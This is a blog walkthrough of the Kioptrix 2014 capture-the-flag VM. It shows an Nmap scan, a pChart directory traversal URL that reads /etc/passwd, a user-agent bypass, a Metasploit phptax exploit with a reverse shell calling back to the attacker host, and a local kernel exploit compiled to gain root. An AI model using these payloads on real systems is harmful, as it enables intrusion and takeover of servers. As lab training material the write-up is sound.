Core dump overflow

Core dump in progress...

Kioptrix 2014

| Comments

Right when I thought I was finished with the Kioptrix vulnerable machines, I discovered there is a new addition to the series! This is great, because I really enjoyed the Kioptrix challenges! So let’s dive in!

First, if you have problems with booting it up, check out the fix and instructions from http://vulnhub.com/entry/kioptrix_2014-5,62/

Let’s fire Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

nmap -A -p1-65535 192.168.127.130

Starting Nmap 6.46 ( http://nmap.org ) at 2014-06-27 19:14 EEST
Nmap scan report for 192.168.127.130
Host is up (0.0031s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-methods: No Allow or Public header in OPTIONS response (status code 403)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:BB:7C:98 (VMware)
Device type: general purpose
Running: FreeBSD 7.X|8.X|9.X
OS CPE: cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:freebsd:freebsd:9
OS details: FreeBSD 7.0-RELEASE - 9.0-RELEASE

Next I used the browser to check what is being hosted on ports 80 and 8080. On port 80 there is just an “It works!” message, and on port 8080 I got the Forbidden message. But on port 80’s page source code, there is a comment revealing additional functionality:

1

<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">

pchart

Searching for pChart reveals that this version is affected by directory traversal and XSS

So we can read any file that the web server is sufficiently privileged to read with the following string:

1

http://192.168.127.130/pChart2.1.3/examples/index.php?Action=View&Script=/../../etc/passwd

In this case, there wasn’t much information that could be of further use, and I wasn’t able to read /etc/shadow, which was to be expected. Fortunately, the Apache configuration file is helpful. Since this is a FreeBSD system, the file is located in /usr/local/etc/apache2x/httpd.conf , x being the version number. At the moment, the only thing I could find interesting was this part at the very end of the file:

1
2
3
4
5
6
7
8
9
10
11

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

So it appears that a certain user agent receives special treatment! Let’s verify this by changing the UA (I used the User Agent Switcher add-on for Firefox). And when I went to http://192.168.127.130:8080/ , there was a directory index for something called phptax! No more forbidden errors!

phptax

So, the program is used to generate PDFs. The good news (for us, not for the dilligent tax payers) is that it’s vulnerable to remote code execution, and there’s also a Metasploit module available for it:

PhpTax pfilez Parameter Exec Remote Code Injection

This module exploits a vulnerability found in PhpTax, an income tax report generator. When generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter, which will be used in a exec() statement, and then results in arbitrary remote code execution under the context of the web server. Please note: authentication is not required to exploit this vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

msf > use exploit/multi/http/phptax_exec
msf exploit(phptax_exec) > show options

Module options (exploit/multi/http/phptax_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /phptax/         yes       The path to the web application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   PhpTax 0.8


msf exploit(phptax_exec) > set RHOST 192.168.127.130
RHOST => 192.168.127.130
msf exploit(phptax_exec) > set RPORT 8080
RPORT => 8080
msf exploit(phptax_exec) > set payload cmd/unix/reverse 
payload => cmd/unix/reverse
msf exploit(phptax_exec) > set LHOST 192.168.127.159
LHOST => 192.168.127.159
msf exploit(phptax_exec) > exploit

[*] Started reverse double handler
[*] 192.168.127.1308080 - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ROZVUxzhMsI70Nsb;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ROZVUxzhMsI70Nsb\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo D6E80V1rZ169oQA6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "D6E80V1rZ169oQA6\r\n"
[*] Matching...
[*] B is input...

whoami
www

We managed to break through. Now let’s see how we can become root. I used this mmap/ptrace exploit

I downloaded it to my machine and served it on netcat, than I connected from the victim to the attacker machine and saved the file to the /tmp directory. From there, it was a matter of compiling it and running it:

1
2
3
4
5

gcc -o exploit 26368.c
chmod a+x exploit
./exploit
whoami
root

In the /root directory, there’s another congrats.txt from loneferret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in 
mind, and not meant for the seasoned pentester. However this does not mean one 
can't enjoy them.

As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks. 

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS 
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good...


loneferret
http://www.kioptrix.com


p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part :)

This concludes the Kioptrix series, and cheers to loneferret for creating these awesome challenges!

Today is the first day of the rest of the mess.

Comments